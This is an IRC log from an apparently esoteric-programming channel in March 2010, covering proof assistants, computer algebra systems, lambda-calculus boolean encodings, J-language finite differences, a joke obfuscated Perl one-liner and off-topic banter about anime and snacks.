23:33:53 <alise_> MATHEMATICAL LEFT WHITE BRACKET or something
23:35:56 <ais523> ⟦⟧
23:36:07 <ais523> took a while to find
23:36:14 <alise_> thanks :P
23:36:18 <ais523> and it's MATHEMATICAL LEFT WHITE SQUARE BRACKET, etc, you were almost right
23:43:03 <alise_> We use G ? ?, to denote that if we reject all formulas of G, we have to reject the formula ?.
23:43:08 <alise_> ufg
23:43:09 <alise_> ugh
23:43:18 <alise_> X -| Y
23:43:23 <alise_> X
23:43:24 <alise_> Y
23:43:46 <alise_> fax: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.106.2290&rep=rep1&type=pdf
23:44:01 <oerjan> !haskell let x ++ y = foldr (:) y x in [1,2,3] ++ [4,5,6]
23:44:15 <EgoBot> [1,2,3,4,5,6]
23:45:09 <alise_> oerjan: no
23:45:13 <alise_> fold f = foldr f []
23:45:27 <oerjan> grmbl
23:46:58 <oerjan> hm you cannot put _either_ x or y after that for any f and get x ++ y, because [] will be wrong
23:49:40 <oerjan> hm that [[1,2],[3,4]] thing...
23:49:53 <oerjan> which would be concat not ++, but...
23:50:10 <oerjan> oh wait
23:50:41 <oerjan> well i'm not sure it is possibl
23:50:43 <oerjan> *e
23:51:24 <alise_> yeah
23:52:37 <alise_> What postscript viewer should I use for Windows?
23:52:45 <alise_> gsview is nice except that it sucks, horribly.
2010-03-14
00:01:37 <alise_> I guess Prop being a subset of Set is the nicest thing.
00:03:39 -!- adam_d has quit (Ping timeout: 256 seconds).
00:07:58 <alise_> fax: how do you feel about duplicated names in the type and definition?
00:08:00 <alise_> flippedMagma : (M : Magma) ? M.carrier ? M.carrier ? M.carrier
00:08:00 <alise_> flippedMagma M a b = M.__ a b
00:08:06 <alise_> those two Ms bug me, since I could say _ for the second one and it'd be bound anyway
00:11:57 <alise_> fax: sheesh at least reply when you ask me to talk
00:12:50 <alise_> http://pastie.org/868491.txt?key=ndyzpytcq6z99mpjfklr2w ;; two possible syntaxes for records
00:12:54 <alise_> I prefer the latter
00:13:35 <oerjan> happy pi day!
00:16:21 <fax> bapfhj
00:16:44 <oerjan> gnörp schnibble
00:16:52 -!- jcp has quit (Read error: Connection reset by peer).
00:17:57 -!- jcp has joined.
00:19:28 -!- bsmntbombdood_ has joined.
00:20:35 -!- bsmntbombdood has quit (Ping timeout: 245 seconds).
00:20:49 <pikhq> oerjan: Happy 20100314Z.
00:21:05 <oerjan> Z?
00:21:33 <pikhq> "Zulu". Notes the time zone as being UTC.
00:22:19 <oerjan> wright
00:33:43 <alise_> fax: http://pastie.org/868510.txt?key=agfujvebkzuoixl3ljiiw how would you write this with proof irrelevance?
00:33:48 <alise_> specifically >=>< and <=>>
00:34:21 <alise_> Sidenote, I guess I should have there be only one proposition x > y === y < x
00:34:43 <pikhq> Why is salt and vinegar such a delicious potato chip flavor?
00:34:47 <fax> alise I am so fed up I can't do anything
00:35:06 <oerjan> pikhq: homeopathic alchemy
00:35:30 <pikhq> oerjan: Hmm. Maybe.
00:35:58 <fax> ;(
00:36:07 <alise_> fax: why
00:36:16 <alise_> pikhq: because it tastes nothing like salt or vinegar
00:36:17 <fax> I can't handle people
00:36:30 <alise_> fax: bah
00:36:33 <alise_> so read the code instead :)
00:36:52 <pikhq> alise_: Oh, it definitely tastes *of* vinegar. Though the salt and the vinegar combine to produce a distinct, delicious flavor.
00:37:44 <alise_> I hate vinegar but I like salt & vinegar crisps.
00:37:44 <fizzie> By the salt and vinegar combined, I am, captain planet!
00:38:13 <pikhq> Deliciousness.
00:38:48 <alise_> Captain Planet: an allegory about the Singularity.
00:40:52 <alise_> fax: will you listen to suggestions for your algebraic thing
00:41:05 <fax> hi
00:41:14 <fax> pm me but im a moody bitch
01:04:22 <alise_> "The axiom that equality of real numbers in Coq is decidable is strong enough to prove the decidability of all arithmetic statements."
01:04:24 <alise_> !
01:05:28 <fax> :D
01:07:53 <alise_> constructivist reals are so much better grumble.
01:16:19 <alise_> http://1.2.3.11/bmi/arxiv.org/html/cs/0504039v1/c8.png i wanna get texmacs working with maxima
01:16:25 <alise_> er http://arxiv.org/PS_cache/cs/html/0504/0504039v1/c8.png
01:16:31 <alise_> so pretty
01:19:10 <fax> if you are on gnu/linux it's easy
01:19:33 <alise_> i'm on windows unfortunately :(
01:32:13 -!- ais523 has quit (Remote host closed the connection).
01:32:59 -!- augur has joined.
01:33:31 <augur> SUP BITCHES
01:34:22 <oerjan> INF ANTS
01:35:07 -!- Oranjer has joined.
01:35:15 <augur> :O
01:35:22 <Oranjer> what!
01:36:35 <oerjan> LIM ERICKS
01:38:20 <Oranjer> oh
01:38:22 <Oranjer> cool
01:38:29 <Oranjer> are we inventing new poem forms
01:39:12 <oerjan> the form is a little limited
01:47:19 <Sgeo> Ok, my computer is being a bitch. I wonder if it's Digsby's fault
01:47:51 <Sgeo> 76360k
01:48:00 <Sgeo> What does it need all that memory for? :(
01:54:15 <alise_> fax: have you noticed all CASs suck
01:54:15 -!- adu has joined.
01:54:25 -!- BeholdMyGlory has joined.
01:57:20 -!- augur has quit (Ping timeout: 240 seconds).
01:57:45 <coppro> ''=~('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('`'^'%').('{'^'"').('`'^'%').('{'^'[').('`'^'$').('{'^')').('`'^'/').('{'^'+').('{'^'(').'"'.'}'.')')
01:59:21 <fax> alise haen't really tried them out much
01:59:24 <fax> I assume that is true
02:05:33 -!- MizardX has quit (Ping timeout: 240 seconds).
02:10:39 <alise_> fax: mostly because they're not powerful enough to do proving
02:12:42 * pikhq has spent the past hour writing. Wrist hurts. :(
02:13:15 <fax> alise: if you assume they give correct answers you can prove stuff with them :p
02:13:26 <fax> but I think there's lots of times they don't
02:14:53 <pikhq> Handwriting is a *painful* archaicism.
02:19:44 <alise_> fax: no i mean like
02:19:47 <alise_> not powerful enough to be proof systems
02:21:35 <fax> I'm not sure about that
02:23:46 <fax> there are a lot of things you can prove by directly computing them
02:24:06 <fax> "... infact, I've shown that simple programs can yeld complex results"
02:26:33 -!- coppro has quit (Quit: Reconnecting…).
02:26:51 -!- coppro has joined.
02:27:24 <fax> more on this later
02:28:30 * oerjan swats fax for quoting wolfram, especially in the context of what counts as proof -----###
02:28:49 <fax> what
02:29:07 <fax> wolfram = proof ?
02:29:09 <oerjan> well, that _sounded_ like a wolfram quote
02:30:42 <comex> that's silly, if you stick to symbolic stuff they will give correct answers
02:30:59 <fax> what do you mean like
02:31:10 <fax> "the result of this program" = the result of this program
02:31:27 <comex> if I have to prove that two huge polynomials are equal, I can do it with a CAS
02:31:35 <comex> ain't pretty, but it's valid
02:32:10 <oerjan> comex: yes, but there is no unifying reason to believe all the methods in a CAS are bug-free
02:32:19 <oerjan> since it has no proof system
02:32:38 <comex> oerjan: do you ever use a calculator when doing arithmetic as part of a proof?
02:33:16 <fax> by the way
02:33:29 <fax> CAS tend to assume some (very likely to be correct) conjectures
02:33:45 <fax> but you never really know if the computation you have done has made use of it...
02:34:03 <comex> like what?
02:34:29 <fax> algebraic indenpences of various trancendental expressions
02:36:12 -!- Oranjer has left (?).
02:36:38 -!- fax has quit (Quit: Lost terminal).
02:40:01 <oerjan> comex: well for back-of-the-envelope stuff... i've even used wolfram alpha.
02:40:20 <oerjan> my published papers didn't use much arithmetic to speak of, that i can recall
02:42:59 <oerjan> not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier.
02:46:06 -!- alise_ has quit (Ping timeout: 252 seconds).
02:48:58 -!- oerjan has quit (Quit: Good night).
02:52:33 <pikhq> AAAGH. TEXAS BOARD OF EDUCATION. THE STUPID. IT BURNS.
02:52:45 <pikhq> "The board removed the word “capitalism” from [state] standards, mandating that the term for that economic system be called “free enterprise” throughout the standards. Board members such as Terri Leo and Ken Mercer charged that “capitalism” is a negative term used by “liberal professors in academia.”"
03:01:27 <coppro> pikhq: but it's the truth?
03:01:31 <coppro> I read it on Conservapedia!
03:02:25 -!- Oranjer has joined.
03:22:38 -!- bsmntbombdood_ has quit (Ping timeout: 246 seconds).
03:24:06 -!- oklopol has joined.
03:27:13 -!- nooga has joined.
03:27:16 <nooga> helloh
03:27:25 <coppro> helloh
03:27:41 <pikhq> holleh
03:28:22 <nooga> don't you people sleep?
03:28:58 <coppro> no
03:28:59 <coppro> nevar
03:29:52 <oklopol> well it's only 5:30 here
03:29:53 <Gregor> Sleep is for the weak.
03:30:03 <nooga> 4:30 here
03:31:12 <nooga> oklopol: finland?
03:32:23 <Gregor> http://sibeli.us/ !
03:32:26 <Sgeo> Go watch Endless Eight
03:32:37 <nooga> or ... africa, RPA, greece and some small countries that i don't even know their names
03:32:48 <pikhq> Sgeo: 見たくない。
03:33:01 * Sgeo can't read Japanese
03:33:02 <pikhq> nooga: Only 21:32 here.
03:33:07 <oklopol> finland
03:33:10 <pikhq> Sgeo: Don't wanna.
03:33:20 <Sgeo> lol
03:33:46 <Sgeo> Anyone not know what Endless Eight is? I dare you to watch
03:33:49 <coppro> http://www.theonion.com/content/news/racial_slur_development_not
03:33:58 <pikhq> Also, you should totally learn Japanese. Cram a couple thousand kanji in a month or two. :P
03:35:16 <Sgeo> http://www.youtube.com/watch?v=ULY8qox-_qk Worth the anguish it caused non-me fans.
03:35:31 <Sgeo> At least to me, it's worth that
03:35:45 <Gregor> "Hate-filled bigots marched Monday to demand insults for people of all skin tones, regardless of race or nationality."
03:37:00 -!- bsmntbombdood_ has joined.
03:37:25 <nooga> blargh
03:37:33 <nooga> japanese romances
03:37:54 <Sgeo> nooga, do you know anything about Suzumiya Haruhi(sp?)
03:39:25 <Gregor> Sgeo: The correct spelling is 涼宮ハルヒ
03:39:30 <nooga> The concept of "Haruhi Suzumiya", if you didn't know, is that the titular character, an eccentric teenager, unknowingly has godlike powers to alter the universe according to her desires.
03:39:36 <nooga> sounds awesome
03:39:44 <nooga> no, really
03:39:50 <Sgeo> It is
03:40:06 <Sgeo> Except for 5 of 8 episodes of Endless Eight
03:40:31 <Sgeo> And that's less for entertainment, and more to make a poiint
03:40:35 <Sgeo> *point
03:40:49 <nooga> :3
03:41:04 <Sgeo> Sorry if that was too spoilery
03:43:00 <nooga> nah
03:43:22 <nooga> i'm more interested in revealing the truth about G-man from Half-Life series
03:46:28 -!- kwertii has joined.
03:53:01 <Sgeo> "It's too bad Endless is over XD"
03:53:08 <Sgeo> Comment on http://www.youtube.com/watch?v=pz2NtNuGKjE
03:59:45 <pikhq> Gregor: The correct spelling is 涼宮ハルヒの憂鬱
04:00:09 <Gregor> pikhq: I copied my spelling straight off Wikipedia >_<
04:00:46 <pikhq> Gregor: 涼宮ハルヒ is just the name of a character. :P
04:00:54 <pikhq> Well. And the book series.
04:20:32 -!- gm|lap has joined.
04:21:49 -!- Wareya has quit (Ping timeout: 264 seconds).
04:56:37 -!- nooga has quit (Read error: Connection reset by peer).
05:09:01 * Sgeo switches back to Pidgin
05:09:52 -!- mibygl has joined.
05:10:29 <mibygl> Time to redesign computing from the ground up!
05:10:45 -!- gm|lap has quit (Ping timeout: 260 seconds).
05:11:09 <Sgeo> Maybe I should use Miranda IM
05:16:59 <mibygl> You know, redesigning computing from the ground up actually sounds kind of difficult.
05:17:10 * mibygl shrugs.
05:19:25 <mibygl> So, I imagine an object-oriented Internet.
05:19:48 <mibygl> There are a couple of different domains, and crossing each is going to be done differently.
05:20:13 <mibygl> There's the application domain, doing stuff within a single application; that's going to be very simple and have no security restrictions.
05:20:36 <mibygl> There's the machine domain, doing stuff on a single machine; that's going to be a bit more complex and there are going to be lots of security restrictions.
05:20:59 <mibygl> And there's the Internet domain, doing stuff across the Internet; that's going to be even more complex and there are going to be even more security restrictions.
05:21:59 -!- puzzlet has quit (Quit: leaving).
05:22:10 -!- adu has quit (Quit: adu).
05:35:04 <kwertii> mibygl: channelling Scott McNealy circa 1997?
05:35:26 <mibygl> Perhaps.
05:35:47 <kwertii> "the network *IS* the computer! and I woulda gotten away with it, too, if it wasn't for you pesky kids.."
05:36:12 <mibygl> Files, one of Unix's fundamental units of organization, can be greatly done away with; they can be replaced with some abstract object thingy.
05:36:23 <mibygl> And this abstract object thingy would essentially be a file. :P
05:38:06 <mibygl> It wouldn't necessarily have exactly one location in the filesystem, though; it could have multiple, or none at all. In the latter case, it would be garbage collected as soon as there were no surviving pointers to it.
05:40:04 <kwertii> mibygl: have you seen Eros OS? no distinction between long and short term storage
05:40:53 <mibygl> I have not.
05:41:02 <kwertii> sounds like what you're describing
05:41:09 <kwertii> program memory just magically persists
05:41:16 <mibygl> The Extremely Reliable Operating System?
05:41:38 <kwertii> yep, that's the one
05:42:04 <kwertii> ahh, looks like it forked in 2005 to Coyotos and CapROS. shows how much I've been keeping up with these things.
05:52:17 -!- coppro has quit (Remote host closed the connection).
05:53:13 -!- coppro has joined.
05:57:10 -!- Oranjer has left (?).
06:00:16 <pikhq> mibygl: So. Smalltalk.
06:00:28 <pikhq> Also, filesystem?
06:00:29 <pikhq> Bah.
06:00:32 <mibygl> Smalltalk, except it's the entire Internet!
06:00:40 <pikhq> So. Smalltalk.
06:00:43 <mibygl> Yeah, I imagine it would look a lot like Smalltalk.
06:00:56 -!- bsmntbombdood_ has changed nick to bsmntbombdood.
06:01:04 <mibygl> Tell me what a trans-Internet pointer looks like in Smalltalk. :P
06:01:21 <mibygl> Actually, if Smalltalk already supports that...
06:01:26 <mibygl> ...then that is fucking awesome.
06:01:46 <pikhq> I'm pretty sure Project Croquet stuck that into Smalltalk.
06:02:22 -!- bsmntbombdood has quit (Read error: Connection reset by peer).
06:02:46 -!- bsmntbombdood has joined.
06:04:59 <mibygl> The Croquet Project?
06:05:50 <pikhq> Erm. That.
06:09:22 <Gregor> The Croquet project is an outstanding display of how when you layer bad ideas on other bad ideas, nobody cares.
06:09:39 <Gregor> Croquet, the game, on the other hand, is awesome.
06:13:01 * pikhq sees your croquet and raises you Brokkian Ultra-Cricket
06:15:45 <Gregor> ...
06:16:06 <pikhq> ... And yes I know croquet is a real game.
06:16:10 <pikhq> And Ultra-Cricket is not.
06:16:24 <Gregor> I can't imagine that the "ultra" version of a game so complicated that the human brain is only capable of understanding either it or all other games, is a good idea.
06:17:10 <pikhq> Ultra-Cricket once had its rules bound into a single volume. It became a black hole.
06:17:59 <Gregor> Bravo, sir.
06:18:17 <pikhq> Not my joke. Is Douglas Adams.
06:18:26 <Gregor> Aha, didn't know.
06:18:27 <pikhq> (read Hitchhiker's Guide. It is imperative.)
06:18:39 <Gregor> I have, but a long long time ago, in a galaxy not to far from here.
06:18:41 <Gregor> This galaxy, in fact.
06:18:44 <pikhq> Ah.
06:19:44 <Gregor> *too far, of course >_>
06:35:35 <Sgeo> What's wrong with the Croquet Project?
06:36:19 <pikhq> Some interesting ideas composed by people without a clue how to do a usable UI.
06:36:58 <pikhq> Oh, and the entire project is mostly a UI design project.
06:37:28 * Sgeo wants OpenCobalt to succeed
07:00:41 <mibygl> Looking at Smalltalk, I don't think I care for it.
07:01:48 <mibygl> Maybe tomorrow I'll come up with a language that's a cross between Smalltalk and Haskell.
07:06:06 -!- mibygl has quit (Ping timeout: 252 seconds).
07:56:15 -!- FireFly has joined.
07:56:38 -!- FireFly has quit (Read error: Connection reset by peer).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:08:20 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
08:25:50 -!- kar8nga has joined.
08:34:11 -!- Gracenotes has joined.
08:53:03 -!- BeholdMyGlory has quit (Remote host closed the connection).
08:58:38 -!- kwertii has quit (Quit: kwertii).
09:02:03 -!- tombom has joined.
09:11:48 -!- augur has joined.
11:42:12 -!- hiato has joined.
12:09:35 -!- adam_d has joined.
12:18:07 -!- MigoMipo has joined.
12:18:21 -!- oerjan has joined.
12:21:06 -!- MizardX has joined.
12:26:10 -!- cheater2 has quit (Ping timeout: 276 seconds).
12:29:44 -!- adam_d has quit (Ping timeout: 265 seconds).
12:31:56 <oerjan> <coppro> http://www.theonion.com/content/news/racial_slur_development_not <-- :D
12:32:07 <oerjan> also, http://www.theonion.com/content/news/man_on_internet_almost_falls_into
12:44:47 -!- cheater2 has joined.
13:00:03 -!- BeholdMyGlory has joined.
13:19:41 -!- FireFly has joined.
13:45:45 -!- MizardX- has joined.
13:48:33 -!- MizardX has quit (Ping timeout: 260 seconds).
13:48:43 -!- MizardX- has changed nick to MizardX.
13:56:54 -!- oerjan has quit (Quit: leaving).
13:57:31 -!- hiato has quit (Quit: underflow).
13:59:17 -!- olsner_ has joined.
14:19:32 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
14:33:24 -!- olsner_ has quit (Quit: olsner_).
14:40:53 -!- fax has joined.
14:41:59 -!- BeholdMyGlory_ has joined.
14:43:40 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
14:55:25 -!- Asztal has joined.
15:11:42 -!- FireFly has quit (Quit: Leaving).
15:12:08 -!- FireFly has joined.
15:18:28 -!- adam_d has joined.
15:23:30 -!- FireFly has quit (Read error: Operation timed out).
15:24:28 -!- puzzlet has joined.
15:38:03 -!- alise has joined.
15:38:28 <alise> Windows 7 is actually not all that horribterrible.
15:40:39 <alise> Though I do wish that Toshiba didn't bundle it with crapware like McAfee.
15:41:44 -!- FireFly has joined.
15:42:22 <alise> fax: wolfram's idea of a proof system: http://www.wolfram.com/products/mathematica/newin6/content/EquationalTheoremProving/
15:42:26 <alise> Note: Does not include proofs.
15:43:13 <alise> http://library.wolfram.com/infocenter/Articles/3885/ apparently someone was crazy enough to build a theorem prover on mathematics
15:43:14 <alise> *mathematica
15:43:55 <fax> hi alise!!
15:45:58 <alise> hi there
15:46:05 <alise> last day i'll be on til friday :(
15:46:11 -!- FireFly has quit (Ping timeout: 246 seconds).
15:47:57 <fax> alise: you don't know who Bruno Buchberger is??
15:48:26 <fax> Buchbergers algorithm
15:53:49 <alise> i don't look at names :)
15:55:26 <alise> 18:42:59 <oerjan> not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier.
15:55:26 <alise> Verifier? Why, oerjan, you /start/ with the prover, not /end/ with it!
15:55:30 <alise> Well, you end with it too.
15:55:59 <alise> fax: so I was inspired by the suckingness of all CASs to try and unify my OS and my language by adding elements of term rewriting to my language so that it can be used as part of a full-stack CAS
15:56:01 <alise> which is then the OS
15:57:08 <alise> I am also quite mad
15:59:21 <alise> 21:09:01 * Sgeo switches back to Pidgin
15:59:36 <alise> I'm actually using Digsby because I don't value my IM passwords and Pidgin sucks way too badly on Windows :)
15:59:55 <alise> 21:16:59 <mibygl> You know, redesigning computing from the ground up actually sounds kind of difficult.
15:59:55 <alise> There /is/ a reason it subsumes all my other projects...
16:00:30 <alise> 21:36:12 <mibygl> Files, one of Unix's fundamental units of organization, can be greatly done away with; they can be replaced with some abstract object thingy.
16:00:30 <alise> Patented, dude. I patented it.
16:00:42 <alise> 21:42:04 <kwertii> ahh, looks like it forked in 2005 to Coyotos and CapROS. shows how much I've been keeping up with these things.
16:00:42 <alise> and coyotos died
16:00:48 <alise> since the dude wen to work for microfuck
16:01:00 <alise> (Microfuck is totally the most realistic MS-mangling.)
16:01:39 <alise> 22:16:24 <Gregor> I can't imagine that the "ultra" version of a game so complicated that the human brain is only capable of understanding either it or all other games, is a good idea.
16:01:39 <alise> <3
16:13:43 -!- nooga has joined.
16:23:20 <nooga> ....
16:34:37 <alise> maxima is rubbish
16:39:52 <alise> Ugh, how do you tell LaTeX that yes, this multiple-character string /is/ a variable name?
16:40:55 -!- adam_d has quit (Ping timeout: 256 seconds).
17:00:15 -!- nooga has quit (Quit: Lost terminal).
17:08:26 -!- werdan7 has quit (Ping timeout: 615 seconds).
17:16:39 -!- werdan7 has joined.
17:20:36 <alise> OR := \p q. p (\x. p) q
17:20:54 <alise> ISFALSE := \x. OR x TRUE
17:21:03 <alise> ISTRUE := \x. x ISFALSE FALSE
17:21:10 <alise> Sometimes I forget just how pretty the lambda calculus is.
17:21:57 <alise> (Then ISBOOL := \x. OR (ISFALSE x) (ISTRUE x), of course.)
17:22:14 <Gregor> Isn't ISTRUE just id ...
17:22:30 <alise> Well... yes.
17:22:49 <alise> Gregor: I was trying to make "types" from scratch with just the lambda calculus.
17:22:55 <alise> Then ISBOOL would be the type ISBOOL.
17:23:00 <alise> Hey, ISFALSE/ISTRUE would also be types.
17:23:07 <alise> Gregor: but the issue is that it could be some /other/ function of two arguments.
17:23:34 <alise> ISBOOL := \x. OR (OR x TRUE) (x ISFALSE FALSE)
17:23:36 <alise> ISBOOL := \x. OR (OR x TRUE) x
17:23:39 <alise> ISBOOL := \x. OR (NOT x) x
17:23:43 <alise> Law of the excluded middle!
17:24:44 <alise> If you accept it then
17:24:49 <alise> ISBOOL := \x. TRUE
17:25:09 <alise> ISBOOL := \x f y. f y
17:25:12 <alise> ISBOOL := \x f. f
17:25:29 <alise> "Is this value a boolean?" "Identity function."
17:32:29 -!- coppro has quit (Ping timeout: 256 seconds).
17:40:21 -!- BeholdMyGlory has quit (Changing host).
17:40:21 -!- BeholdMyGlory has joined.
17:56:14 * alise writes a superstrict lambda-calculus evaluator in emacs
17:56:25 <alise> I wonder what relation this has to specialisation
17:57:16 <alise> POW 3 (given POW x y = y^x) will result in a lambda, which will be evaluated; this lambda will have all instances of x replaced with 3, resulting in applications involving 3. these will be reduced as far as possible
17:57:33 <alise> One wonders whether it's turing-complete, though, with all this strictness.
17:57:41 <fax> in emacs??
17:58:14 -!- FireFly has joined.
17:58:45 <alise> Erm.
17:58:46 <alise> In C.
17:58:50 <alise> I did write it in Emacs, though.
17:59:30 <alise> Superstrict LC compilation would be the fastest a pure pinnacle of mathematical beauty would ever run on a machine made out of atoms, and bits.
17:59:45 * alise braces self; installs cygwin.
17:59:48 <alise> This will be painful.
18:00:01 <alise> Cygwin is /always/ painful.
18:00:06 <alise> But it beats using cmd.exe.
18:00:11 <alise> Or wait, I have powershell, which is okay.
18:00:14 <alise> Powershell + MinGW?
18:04:18 <alise> It's also related to symbolic evaluation
18:04:51 <alise> in that if it sees a variable it doesn't know it ignores it, and if you do f x where f is known but x is not it substitutes x in f
18:05:51 <alise> including for f (g x y) where f, g and y are known but x isn't; y is substituted for the appropriate place in g, resulting in an expanded g with the free variable x; and then this is substituted for the correct position in f
18:17:34 -!- augur has quit (Quit: Leaving...).
18:17:39 -!- augur has joined.
18:24:35 <alise> A random small power of two in J: */1+?24$2
18:24:45 <alise> Increase/decrease 24 to get smaller(on average)/bigger powers.
18:25:21 <alise> Read out: Multiply over 1 plus random in range 24 twos
18:25:37 <alise> Where ?n has n possibilities; i.e. ?1 is always 0, so ?2 is 0 or 1.
18:25:48 <alise> So ?2 2 is 0 0, 0 1, 1 0 or 1 1.
18:26:06 <alise> So ?2 2 is 0 0 0, 0 0 1, 0 1 0, 0 1 1, 1 0 0, 1 0 1, 1 1 0, or 1 1 1. (See a patern?)
18:26:25 <alise> So we get 24 of those, add 1 to them so we get e.g. 1 2 2 instead of 0 1 1.
18:26:31 <alise> Then we multiply them: 1*2*2 = 4.
18:28:38 <alise> pow2 := monad define
18:28:39 <alise> */1+?y$2
18:28:39 <alise> )
18:28:54 <alise> Then (pow2 n) produces a value in the range 1 to 2^n, inclusive.
18:29:36 <fax> ???
18:29:41 <alise> What?
18:30:09 <alise> Hmm, actually, it's in the range 1 to 2^(n-1).
18:30:12 <alise> fax: what's ??? ?
18:30:23 -!- jcp has joined.
18:31:15 -!- jcp1 has joined.
18:31:41 <alise> Haha, sweet: J's natural language facilities then mean that "pow2 (m,n)" produces n "pow2 m"s.
18:32:18 <alise> pow2 (n,i,j) produces an i x j 2d array of "pow2 n"s.
18:32:18 <alise> And so on, so forth.
18:32:41 <alise> You can write that shorter as "pow2 (n i j)" of course. Even shorter as "pow2 n i j".
18:33:01 <alise> And I didn't even write any code to do it :-)
18:33:06 <alise> fax: what confuses you?
18:33:32 <fax> yndpaf
18:33:38 -!- jcp1 has quit (Read error: Connection reset by peer).
18:33:38 <fax> my hands feel like they're goint to fall off
18:33:42 <alise> why
18:33:44 <alise> cold or hot?
18:33:50 <fax> neither
18:34:20 <alise> then what
18:34:42 -!- FireFly has quit (Remote host closed the connection).
18:34:50 <alise> haha (pow2 '') ('' is empty array) is 1 or 2
18:34:53 <alise> I love J
18:34:53 -!- jcp has quit (Read error: Connection reset by peer).
18:35:09 -!- FireFly has joined.
18:35:36 -!- jcp has joined.
18:50:00 <alise> Recursion in C:
18:50:01 <alise> LC *lcalloc(void)
18:50:02 <alise> {
18:50:02 <alise> return malloc(sizeof lcalloc());
18:50:02 <alise> }
18:50:08 <alise> If only pikhq was here to see it.
18:53:30 <alise> Wow, Windows pops up a little "blah.exe has stopped working, trying to find a solution..." box if you dereference a null pointer
18:54:08 <Gregor> alise: Hmmmm, that doesn't actually recurse, does it?
18:55:01 <alise> Nope!
18:55:14 <alise> It's like the relatively common, and good practice, int *x = malloc(length * sizeof *x);
18:55:21 <alise> Well, I guess sizeof(*x) is more best-practicey.
18:55:28 <alise> It's good because it works even if you change the element type of x.
18:55:43 <alise> MY function is good simply because it's ridiculous.
18:56:05 <Gregor> Yeah, but it's /not/ recursion in C. It neither recurses at compile time nor runtime.
18:56:08 <pikhq> alise: Beautiful.
18:56:10 <alise> [Window Title]
18:56:19 <alise> superstrict.exe
18:56:19 <alise> [Main Instruction]
18:56:19 <alise> superstrict.exe has stopped working
18:56:19 <alise> [Content]
18:56:19 <alise> Windows is checking for a solution to the problem...
18:56:20 <alise> [Cancel]
18:56:20 <alise> Hey, I can Ctrl-C that fancy box.
18:56:21 <alise> Gregor: Which is why I called it "recursion in C".
18:56:31 <alise> pikhq: Wait what? You didn't tab-complete the first time I tried.
18:56:35 <Gregor> ... okidokie.
18:56:35 <alise> *Wait, what?
18:56:43 <pikhq> I woke up.
18:56:45 <alise> Gregor: It's silly. It is permissible for me to be silly.
18:56:58 <alise> pikhq: But... you didn't join.
18:57:00 <Gregor> IT IS NOT PERMISSIBLE
18:57:03 <alise> Unless mIRC won't tab-complete away clients...
18:57:09 <pikhq> alise: I've been here all this time.
18:57:29 <pikhq> I literally do not turn off this computer. Or the IRC client upon it.
18:58:43 <pikhq> Also: goddamned DST.
18:58:43 <alise> Yes, but mIRC didn't tab complete you before :P Maybe it wsa just me
19:00:20 <alise> *was
19:04:51 -!- kar8nga has quit (Remote host closed the connection).
19:09:32 <alise> fax: as soon as i figure out how to define adverbs I'll do your finite calculus in j
19:09:36 <alise> even though j has derivative already...
19:10:11 <fax> alise, that will be so cool!!!
19:10:14 <fax> make sure you show me it
19:11:27 -!- hiato has joined.
19:14:00 -!- MigoMipo has quit (Remote host closed the connection).
19:14:51 <alise> fax: well here's deriv
19:14:52 <alise> deriv =: adverb define
19:14:53 <alise> u (y+1) - u y
19:14:53 <alise> )
19:15:03 <alise> id deriv 3
19:15:04 <alise> 1
19:15:42 <alise> - deriv 0 1 2 3 4 5
19:15:42 <alise> _1 _3 _5 _7 _9 _11
19:16:01 <alise> fax: I can't do your proofs - J doesn't do that stuff
19:16:35 <alise> fax: but there's the deriv operator...
19:16:41 <alise> do finite integration now :-)
19:17:17 <alise> % deriv i. 10x
19:17:18 <alise> 0 1 2r5 3r11 4r19 5r29 6r41 7r55 8r71 9r89
19:17:23 <fax> yeah it doesn't matter if you can encode proofs
19:17:24 <alise> (%x is 1/x)
19:17:28 <fax> just write correct code, that's as good
19:17:45 <alise> yeah I think that definition of deriv is the closest to flawless code you can get :P
19:18:15 <alise> fax: now write integration
19:18:28 <fax> alise, integration is quite difficult :)
19:18:33 <alise> inded it is
19:18:35 <alise> *indeed it is
19:18:37 <fax> I am not sure I am ready for that yet
19:18:46 * alise looks at your discrete definite integral - gulp
19:18:51 <fax> I need to have some theory of stirling numbers
19:18:52 <alise> higher-order functions are /not/ J's strong point
19:19:04 <alise> it has adverbs that's about it... and if you really want you can pass functions around, with difficulty
19:19:18 <alise> also it has three arguments
19:19:26 <alise> j doesn't really "do" >2 arguments, you have to use an array :)
19:19:59 <alise> (% deriv) deriv i. 7x
19:20:00 <alise> 1 1 65r209 451r2011 1729r9649 4901r32621 11521r88801
19:20:02 <alise> oh the humanity!
19:21:42 <alise> fax: my derivative actually works on non-Z functions
19:21:44 <alise> though it's fucking pointless to do so...
19:21:57 <fax> why is it pointless?
19:22:05 <alise> well if you want anything like regular derivative that is
19:22:18 <alise> id deriv
19:22:19 <alise> +----------------------+
19:22:19 <alise> id+-----------------+
19:22:19 <alise> 1:u (y+1) - u y
19:22:19 <alise> +-----------------+
19:22:19 <alise> +----------------------+
19:22:25 <alise> not as impressive as the output of symbolic differentiation :)
19:22:34 <alise> lol mirc converted real box drawing chars to ascii automatically
19:23:37 <alise> +/ deriv (1,2,3,4,5,6)
19:23:37 <alise> _99
19:24:27 <alise> fax: that's deriv on f : [int] -> [int]
19:24:28 <alise> well
19:24:44 <alise> more accurately [[...[int]...]] -> [[...int...]] (stripping off one level)
19:25:29 <alise> fax: if deriv wasn't an adverb I could just do deriv^:_1
19:25:33 <alise> VOILA, INTEGRATION
19:25:35 <alise> :p
19:25:59 <fax> heh
19:26:02 <alise> huh j also has limits
19:26:07 <alise> cute syntax ^:_
19:26:08 <alise> i.e.
19:26:13 <alise> f^\infty(x)
19:29:18 <alise> fax: anyway if you have any functions that aren't too higher-order related to this i can define them
19:29:25 * alise tries plotting a derivative
19:31:50 <alise> plot sin steps 0 10 100 // just copying this for reference
19:31:53 -!- MizardX- has joined.
19:32:04 <alise> x=: steps 0 10 100
19:32:04 <alise> plot x;sin x
19:32:14 <alise> -- (9 of 23) Plot -------------------------------------------
19:32:16 <alise> The above example could have been entered more simply as:
19:32:16 <alise> )
19:32:16 <alise> plot (];sin) steps 0 10 100
